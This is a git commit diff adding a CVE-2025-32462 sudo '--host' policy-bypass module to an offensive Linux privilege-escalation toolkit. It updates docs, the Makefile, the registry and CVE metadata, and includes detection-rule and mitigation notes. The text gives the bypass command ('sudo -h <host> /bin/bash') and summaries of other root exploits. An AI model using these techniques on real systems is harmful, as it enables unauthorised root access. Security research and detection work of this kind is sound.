modules: add sudo_host (CVE-2025-32462, Stratascale sudo --host policy bypass)
Second new module this cycle; sibling of sudo_chwoot (CVE-2025-32463, same Stratascale/Rich Mirch disclosure). sudo's -h/--host option — meant only to pair with -l/--list — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via 'sudo -h <host> <cmd>' for local root. Affects sudo 1.8.8 -> 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8 (not in KEV). detect(): version-gate [1.8.8, 1.9.17p0] via ctx->host->sudo_version (the host-restricted rule itself isn't probeable unprivileged, so VULNERABLE means 'vulnerable sudo present'). exploit(): discovers an abusable host-restricted rule from readable sudoers (or SKELETONKEY_SUDO_HOST), witnesses with 'sudo -n -h <host> id -u', pops 'sudo -h <host> /bin/bash' (SKELETONKEY_SUDO_CMD) only on a uid-0 witness; honest EXPLOIT_FAIL + operator guidance otherwise. Shared 'sudo' family; structural, arch=any; safety rank 96. auditd/sigma/falco rules, NOTICE.md (Rich Mirch / Stratascale) + MODULE.md, 4 detect() test rows. Wiring: registry, Makefile, cve_metadata (+JSON), verify-vm/targets.yaml (ubuntu1804 sudo 1.8.21p2 target, sweep pending). Docs: README + CVES.md + docs/index.html counts 40->41 modules / 35->36 CVEs; not-yet-verified lists + corpus pill.
This commit is contained in:
@@ -23,14 +23,14 @@ Status legend:
|
|||||||
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
||||||
historical reference only
|
historical reference only
|
||||||
|
|
||||||
**Counts:** 40 modules total covering 35 CVEs; **28 of 35 CVEs
|
**Counts:** 41 modules total covering 36 CVEs; **28 of 36 CVEs
|
||||||
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
|
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
|
||||||
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
|
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
|
||||||
*candidate* with no module, not counted as a module.)
|
*candidate* with no module, not counted as a module.)
|
||||||
|
|
||||||
> **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
|
> **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
|
||||||
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` /
|
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` /
|
||||||
> `ptrace_pidfd` are blocked by their target environment (VMware-only,
|
> `ptrace_pidfd` / `sudo_host` are blocked by their target environment (VMware-only,
|
||||||
> kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
|
> kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
|
||||||
> libs) or are brand-new this cycle, not by missing code. See
|
> libs) or are brand-new this cycle, not by missing code. See
|
||||||
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||||
@@ -94,6 +94,7 @@ root on a host can upstream their kernel's offsets via PR.
|
|||||||
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
|
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
|
||||||
| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
|
| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
|
||||||
| CVE-2026-46333 | ptrace `__ptrace_may_access` dumpable-race → `pidfd_getfd` credential-fd theft | LPE (steal a root-opened fd / authenticated channel from a process dropping privileges) | mainline 2026-05-14 (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7) | `ptrace_pidfd` | 🟡 | **Qualys TRU disclosure (2026-05-20), exploit not yet VM-verified.** The `__ptrace_may_access` logic flaw leaves a process *dropping* privileges briefly reachable past its `dumpable` boundary; `pidfd_getfd(2)` rides that window. detect() is version-pinned with a predates-gate at `pidfd_getfd`'s 5.6 introduction. exploit() spawns a setuid victim (chage / pkexec / ssh-keysign), `pidfd_open()`s it and sweeps `pidfd_getfd()` across its descriptor table during the credential-drop window, reporting any uid-0-owned fd captured from a non-root context — honest `EXPLOIT_FAIL` without a euid-0 witness; the target-specific full root-pop is not bundled until VM-verified. Arch-agnostic (descriptor theft, no shellcode). `--mitigate` sets `kernel.yama.ptrace_scope=2`; `--cleanup` reverts it. Credit: Qualys TRU. |
|
| CVE-2026-46333 | ptrace `__ptrace_may_access` dumpable-race → `pidfd_getfd` credential-fd theft | LPE (steal a root-opened fd / authenticated channel from a process dropping privileges) | mainline 2026-05-14 (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7) | `ptrace_pidfd` | 🟡 | **Qualys TRU disclosure (2026-05-20), exploit not yet VM-verified.** The `__ptrace_may_access` logic flaw leaves a process *dropping* privileges briefly reachable past its `dumpable` boundary; `pidfd_getfd(2)` rides that window. detect() is version-pinned with a predates-gate at `pidfd_getfd`'s 5.6 introduction. exploit() spawns a setuid victim (chage / pkexec / ssh-keysign), `pidfd_open()`s it and sweeps `pidfd_getfd()` across its descriptor table during the credential-drop window, reporting any uid-0-owned fd captured from a non-root context — honest `EXPLOIT_FAIL` without a euid-0 witness; the target-specific full root-pop is not bundled until VM-verified. Arch-agnostic (descriptor theft, no shellcode). `--mitigate` sets `kernel.yama.ptrace_scope=2`; `--cleanup` reverts it. Credit: Qualys TRU. |
|
||||||
|
| CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | 🟢 | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option — meant only to pair with `-l` — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h <host> <cmd>`. Affects sudo 1.8.8 → 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and pops a root shell only on a uid-0 witness — never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. |
|
||||||
|
|
||||||
## Operations supported per module
|
## Operations supported per module
|
||||||
|
|
||||||
@@ -133,6 +134,7 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
|
|||||||
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
| fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
|
||||||
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
|
| pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
|
||||||
| ptrace_pidfd | ✓ | ✓ (primitive) | ✓ (yama ptrace_scope=2) | ✓ (restore ptrace_scope) | ✓ (auditd + sigma + falco) |
|
| ptrace_pidfd | ✓ | ✓ (primitive) | ✓ (yama ptrace_scope=2) | ✓ (restore ptrace_scope) | ✓ (auditd + sigma + falco) |
|
||||||
|
| sudo_host | ✓ | ✓ | — (upgrade sudo to 1.9.17p1) | — | ✓ (auditd + sigma + falco) |
|
||||||
|
|
||||||
## Pipeline for additions
|
## Pipeline for additions
|
||||||
|
|
||||||
|
|||||||
@@ -227,6 +227,11 @@ PPF_DIR := modules/ptrace_pidfd_cve_2026_46333
|
|||||||
PPF_SRCS := $(PPF_DIR)/skeletonkey_modules.c
|
PPF_SRCS := $(PPF_DIR)/skeletonkey_modules.c
|
||||||
PPF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PPF_SRCS))
|
PPF_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(PPF_SRCS))
|
||||||
|
|
||||||
|
# CVE-2025-32462 sudo -h/--host policy bypass (Stratascale; sudo family)
|
||||||
|
SUH_DIR := modules/sudo_host_cve_2025_32462
|
||||||
|
SUH_SRCS := $(SUH_DIR)/skeletonkey_modules.c
|
||||||
|
SUH_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SUH_SRCS))
|
||||||
|
|
||||||
# Top-level dispatcher
|
# Top-level dispatcher
|
||||||
TOP_OBJ := $(BUILD)/skeletonkey.o
|
TOP_OBJ := $(BUILD)/skeletonkey.o
|
||||||
|
|
||||||
@@ -240,7 +245,7 @@ MODULE_OBJS := $(CFF_OBJS) $(DP_OBJS) $(EB_OBJS) $(PK_OBJS) $(NFT_OBJS) \
|
|||||||
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
|
$(DDC_OBJS) $(FGN_OBJS) $(P2TR_OBJS) \
|
||||||
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
|
$(SCHW_OBJS) $(UDB_OBJS) $(PTH_OBJS) \
|
||||||
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
|
$(MUT_OBJS) $(SRN_OBJS) $(TIO_OBJS) $(VSK_OBJS) $(PIP_OBJS) \
|
||||||
$(PPF_OBJS)
|
$(PPF_OBJS) $(SUH_OBJS)
|
||||||
|
|
||||||
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
ALL_OBJS := $(TOP_OBJ) $(CORE_OBJS) $(REGISTRY_ALL_OBJ) $(MODULE_OBJS)
|
||||||
|
|
||||||
|
|||||||
@@ -2,10 +2,10 @@
|
|||||||
|
|
||||||
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
[](https://github.com/KaraZajac/SKELETONKEY/releases/latest)
|
||||||
[](LICENSE)
|
[](LICENSE)
|
||||||
[](docs/VERIFICATIONS.jsonl)
|
[](docs/VERIFICATIONS.jsonl)
|
||||||
[](#)
|
[](#)
|
||||||
|
|
||||||
> **One curated binary. 40 Linux LPE modules covering 35 CVEs from 2016 → 2026.
|
> **One curated binary. 41 Linux LPE modules covering 36 CVEs from 2016 → 2026.
|
||||||
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
|
> Every year 2016 → 2026 covered. 28 confirmed end-to-end against real Linux
|
||||||
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
|
> VMs via `tools/verify-vm/`. Detection rules in the box. One command picks
|
||||||
> the safest one and runs it.**
|
> the safest one and runs it.**
|
||||||
@@ -44,9 +44,9 @@ for every CVE in the bundle — same project for red and blue teams.
|
|||||||
|
|
||||||
## Corpus at a glance
|
## Corpus at a glance
|
||||||
|
|
||||||
**40 modules covering 35 distinct CVEs** across the 2016 → 2026 LPE
|
**41 modules covering 36 distinct CVEs** across the 2016 → 2026 LPE
|
||||||
timeline. **28 of the 35 CVEs have been empirically verified** in real
|
timeline. **28 of the 36 CVEs have been empirically verified** in real
|
||||||
Linux VMs via `tools/verify-vm/`; the 7 still-pending entries are
|
Linux VMs via `tools/verify-vm/`; the 8 still-pending entries are
|
||||||
blocked by their target environment (legacy hypervisor, EOL kernel, or
|
blocked by their target environment (legacy hypervisor, EOL kernel, or
|
||||||
the t64-transition libc rollout) or are brand-new additions awaiting a
|
the t64-transition libc rollout) or are brand-new additions awaiting a
|
||||||
VM sweep, not by missing code.
|
VM sweep, not by missing code.
|
||||||
@@ -67,7 +67,7 @@ af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy ·
|
|||||||
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload ·
|
||||||
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx
|
||||||
|
|
||||||
### Empirical verification (28 of 35 CVEs)
|
### Empirical verification (28 of 36 CVEs)
|
||||||
|
|
||||||
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
|
Records in [`docs/VERIFICATIONS.jsonl`](docs/VERIFICATIONS.jsonl) prove
|
||||||
each verdict against a known-target VM. Coverage:
|
each verdict against a known-target VM. Coverage:
|
||||||
@@ -80,16 +80,17 @@ each verdict against a known-target VM. Coverage:
|
|||||||
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
|
| Debian 11 (5.10 stock) | cgroup_release_agent · fuse_legacy · netfilter_xtcompat · nft_fwd_dup |
|
||||||
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
|
| Debian 12 (6.1 stock + udisks2 / polkit allow rule) | pack2theroot · udisks_libblockdev |
|
||||||
|
|
||||||
**Not yet verified (7):** `vmwgfx` (VMware-guest-only — no public Vagrant
|
**Not yet verified (8):** `vmwgfx` (VMware-guest-only — no public Vagrant
|
||||||
box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
|
box), `dirty_cow` (needs ≤ 4.4 kernel — older than every supported box),
|
||||||
`mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
|
`mutagen_astronomy` (mainline 4.14.70 kernel-panics on Ubuntu 18.04
|
||||||
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
|
rootfs — needs CentOS 6 / Debian 7), `pintheft` & `vsock_uaf` (kernel
|
||||||
modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
|
modules not loaded on common Vagrant boxes), `fragnesia` (mainline 7.0.5
|
||||||
kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
|
kernel .debs depend on the t64-transition libs from Ubuntu 24.04+/Debian
|
||||||
13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new
|
13+; no Parallels-supported box has those yet), `ptrace_pidfd` (brand-new
|
||||||
2026-05 Qualys disclosure — added this cycle, VM sweep pending). All seven
|
2026-05 Qualys disclosure — added this cycle, VM sweep pending), `sudo_host`
|
||||||
are flagged in [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml)
|
(brand-new 2025-06 Stratascale disclosure — added this cycle, VM sweep
|
||||||
with rationale.
|
pending). All eight are flagged in
|
||||||
|
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml) with rationale.
|
||||||
|
|
||||||
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
See [`CVES.md`](CVES.md) for per-module CVE, kernel range, and
|
||||||
detection status. Run `skeletonkey --module-info <name>` for the
|
detection status. Run `skeletonkey --module-info <name>` for the
|
||||||
@@ -135,7 +136,7 @@ uid=1000(kara) gid=1000(kara) groups=1000(kara)
|
|||||||
$ skeletonkey --auto --i-know
|
$ skeletonkey --auto --i-know
|
||||||
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
[*] auto: host=demo distro=ubuntu/24.04 kernel=5.15.0-56-generic arch=x86_64
|
||||||
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
[*] auto: active probes enabled — brief /tmp file touches and fork-isolated namespace probes
|
||||||
[*] auto: scanning 40 modules for vulnerabilities...
|
[*] auto: scanning 41 modules for vulnerabilities...
|
||||||
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
|
[+] auto: dirty_pipe VULNERABLE (safety rank 90)
|
||||||
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
[+] auto: cgroup_release_agent VULNERABLE (safety rank 98)
|
||||||
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
[+] auto: pwnkit VULNERABLE (safety rank 100)
|
||||||
@@ -204,9 +205,10 @@ also compile (modules with Linux-only headers stub out gracefully).
|
|||||||
|
|
||||||
## Status
|
## Status
|
||||||
|
|
||||||
**v0.9.7 cut 2026-06-01.** 40 modules across 35 CVEs — **every
|
**v0.9.7 cut 2026-06-01.** 41 modules across 36 CVEs — **every
|
||||||
year 2016 → 2026 now covered**. Newest: `ptrace_pidfd` (CVE-2026-46333,
|
year 2016 → 2026 now covered**. Newest: `ptrace_pidfd` (CVE-2026-46333,
|
||||||
Qualys's `__ptrace_may_access` / `pidfd_getfd` credential-steal).
|
Qualys's `__ptrace_may_access` / `pidfd_getfd` credential-steal) and
|
||||||
|
`sudo_host` (CVE-2025-32462, Stratascale's sudo `--host` policy bypass).
|
||||||
v0.9.0 added 5 gap-fillers
|
v0.9.0 added 5 gap-fillers
|
||||||
(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
|
(`mutagen_astronomy` / `sudo_runas_neg1` / `tioscpgrp` / `vsock_uaf` /
|
||||||
`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
|
`nft_pipapo`); v0.8.0 added 3 (`sudo_chwoot` / `udisks_libblockdev` /
|
||||||
@@ -242,13 +244,13 @@ Reliability + accuracy work in v0.7.x:
|
|||||||
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
|
- `--auto` upgrades: per-detect 15s timeout, fork-isolated detect +
|
||||||
exploit, structured verdict table, scan summary, `--dry-run`.
|
exploit, structured verdict table, scan summary, `--dry-run`.
|
||||||
|
|
||||||
Not yet verified (7 of 35 CVEs): `vmwgfx` (VMware-guest only),
|
Not yet verified (8 of 36 CVEs): `vmwgfx` (VMware-guest only),
|
||||||
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
|
`dirty_cow` (needs ≤ 4.4 kernel), `mutagen_astronomy` (mainline
|
||||||
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
|
4.14.70 panics on Ubuntu 18.04 rootfs — needs CentOS 6 / Debian 7),
|
||||||
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
|
`pintheft` + `vsock_uaf` (kernel modules not autoloaded on common
|
||||||
Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
|
Vagrant boxes), `fragnesia` (mainline 7.0.5 .debs need t64-transition
|
||||||
libs from Ubuntu 24.04+ / Debian 13+; no Parallels-supported box has
|
libs from Ubuntu 24.04+ / Debian 13+), `ptrace_pidfd` + `sudo_host`
|
||||||
those yet). Rationale in
|
(brand-new this cycle, sweep pending). Rationale in
|
||||||
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
[`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||||
|
|
||||||
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
See [`ROADMAP.md`](ROADMAP.md) for the next planned modules and
|
||||||
|
|||||||
@@ -292,6 +292,14 @@ const struct cve_metadata cve_metadata_table[] = {
|
|||||||
.in_kev = false,
|
.in_kev = false,
|
||||||
.kev_date_added = "",
|
.kev_date_added = "",
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
.cve = "CVE-2025-32462",
|
||||||
|
.cwe = "CWE-863",
|
||||||
|
.attack_technique = "T1068",
|
||||||
|
.attack_subtechnique = NULL,
|
||||||
|
.in_kev = false,
|
||||||
|
.kev_date_added = "",
|
||||||
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
const size_t cve_metadata_table_len =
|
const size_t cve_metadata_table_len =
|
||||||
|
|||||||
@@ -56,6 +56,7 @@ void skeletonkey_register_tioscpgrp(void);
|
|||||||
void skeletonkey_register_vsock_uaf(void);
|
void skeletonkey_register_vsock_uaf(void);
|
||||||
void skeletonkey_register_nft_pipapo(void);
|
void skeletonkey_register_nft_pipapo(void);
|
||||||
void skeletonkey_register_ptrace_pidfd(void);
|
void skeletonkey_register_ptrace_pidfd(void);
|
||||||
|
void skeletonkey_register_sudo_host(void);
|
||||||
|
|
||||||
/* Call every skeletonkey_register_<family>() above in canonical order.
|
/* Call every skeletonkey_register_<family>() above in canonical order.
|
||||||
* Single source of truth so the main binary and the test binary stay
|
* Single source of truth so the main binary and the test binary stay
|
||||||
|
|||||||
@@ -52,4 +52,5 @@ void skeletonkey_register_all_modules(void)
|
|||||||
skeletonkey_register_vsock_uaf();
|
skeletonkey_register_vsock_uaf();
|
||||||
skeletonkey_register_nft_pipapo();
|
skeletonkey_register_nft_pipapo();
|
||||||
skeletonkey_register_ptrace_pidfd();
|
skeletonkey_register_ptrace_pidfd();
|
||||||
|
skeletonkey_register_sudo_host();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -313,5 +313,14 @@
|
|||||||
"attack_subtechnique": null,
|
"attack_subtechnique": null,
|
||||||
"in_kev": false,
|
"in_kev": false,
|
||||||
"kev_date_added": ""
|
"kev_date_added": ""
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"cve": "CVE-2025-32462",
|
||||||
|
"module_dir": "sudo_host_cve_2025_32462",
|
||||||
|
"cwe": "CWE-863",
|
||||||
|
"attack_technique": "T1068",
|
||||||
|
"attack_subtechnique": null,
|
||||||
|
"in_kev": false,
|
||||||
|
"kev_date_added": ""
|
||||||
}
|
}
|
||||||
]
|
]
|
||||||
|
|||||||
+10
-9
@@ -4,9 +4,9 @@
|
|||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
|
<title>SKELETONKEY — Linux LPE corpus, VM-verified, SOC-ready detection</title>
|
||||||
<meta name="description" content="One binary. 40 Linux privilege-escalation modules from 2016 to 2026. 28 of 35 CVEs empirically verified in real Linux VMs. 10 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
<meta name="description" content="One binary. 41 Linux privilege-escalation modules from 2016 to 2026. 28 of 36 CVEs empirically verified in real Linux VMs. 10 KEV-listed. 151 detection rules across auditd/sigma/yara/falco. MITRE ATT&CK and CWE annotated. --explain gives operator briefings.">
|
||||||
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
|
<meta property="og:title" content="SKELETONKEY — Linux LPE corpus, VM-verified">
|
||||||
<meta property="og:description" content="40 Linux LPE modules; 28 of 35 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
<meta property="og:description" content="41 Linux LPE modules; 28 of 36 CVEs empirically verified in real VMs. 151 detection rules. ATT&CK + CWE + KEV annotated.">
|
||||||
<meta property="og:type" content="website">
|
<meta property="og:type" content="website">
|
||||||
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
|
<meta property="og:url" content="https://karazajac.github.io/SKELETONKEY/">
|
||||||
<meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
|
<meta property="og:image" content="https://karazajac.github.io/SKELETONKEY/og.png">
|
||||||
@@ -62,7 +62,7 @@
|
|||||||
<span class="display-wordmark">SKELETONKEY</span>
|
<span class="display-wordmark">SKELETONKEY</span>
|
||||||
</h1>
|
</h1>
|
||||||
<p class="hero-tag">
|
<p class="hero-tag">
|
||||||
One binary. <strong>40 Linux LPE modules</strong> covering 35 CVEs —
|
One binary. <strong>41 Linux LPE modules</strong> covering 36 CVEs —
|
||||||
<strong>every year 2016 → 2026</strong>. 28 of 34 confirmed against
|
<strong>every year 2016 → 2026</strong>. 28 of 34 confirmed against
|
||||||
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
|
real Linux kernels in VMs. SOC-ready detection rules in four SIEM
|
||||||
formats. MITRE ATT&CK + CWE + CISA KEV annotated.
|
formats. MITRE ATT&CK + CWE + CISA KEV annotated.
|
||||||
@@ -81,7 +81,7 @@
|
|||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div class="stats-row" id="stats-row">
|
<div class="stats-row" id="stats-row">
|
||||||
<div class="stat-chip"><span class="num" data-target="40">0</span><span>modules</span></div>
|
<div class="stat-chip"><span class="num" data-target="41">0</span><span>modules</span></div>
|
||||||
<div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
|
<div class="stat-chip stat-vfy"><span class="num" data-target="28">0</span><span>✓ VM-verified</span></div>
|
||||||
<div class="stat-chip stat-kev"><span class="num" data-target="12">0</span><span>★ in CISA KEV</span></div>
|
<div class="stat-chip stat-kev"><span class="num" data-target="12">0</span><span>★ in CISA KEV</span></div>
|
||||||
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
|
<div class="stat-chip"><span class="num" data-target="151">0</span><span>detection rules</span></div>
|
||||||
@@ -227,7 +227,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<div class="bento-icon">★</div>
|
<div class="bento-icon">★</div>
|
||||||
<h3>CISA KEV prioritized</h3>
|
<h3>CISA KEV prioritized</h3>
|
||||||
<p>
|
<p>
|
||||||
12 of 35 CVEs in the corpus are in CISA's Known Exploited
|
12 of 36 CVEs in the corpus are in CISA's Known Exploited
|
||||||
Vulnerabilities catalog — actively exploited in the wild.
|
Vulnerabilities catalog — actively exploited in the wild.
|
||||||
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
|
Refreshed on demand via <code>tools/refresh-cve-metadata.py</code>.
|
||||||
</p>
|
</p>
|
||||||
@@ -294,7 +294,7 @@ uid=0(root) gid=0(root)</pre>
|
|||||||
<code>tools/verify-vm/</code> spins up known-vulnerable
|
<code>tools/verify-vm/</code> spins up known-vulnerable
|
||||||
kernels (stock distro + mainline from kernel.ubuntu.com), runs
|
kernels (stock distro + mainline from kernel.ubuntu.com), runs
|
||||||
<code>--explain --active</code> per module, and records the
|
<code>--explain --active</code> per module, and records the
|
||||||
verdict. <strong>28 of 35 CVEs</strong> confirmed against
|
verdict. <strong>28 of 36 CVEs</strong> confirmed against
|
||||||
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
|
real Linux across Ubuntu 18.04 / 20.04 / 22.04 + Debian 11 / 12
|
||||||
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
|
+ mainline 5.4.0-26 / 5.15.5 / 6.1.10 / 6.19.7. Records baked into the binary;
|
||||||
<code>--list</code> shows ✓ per module.
|
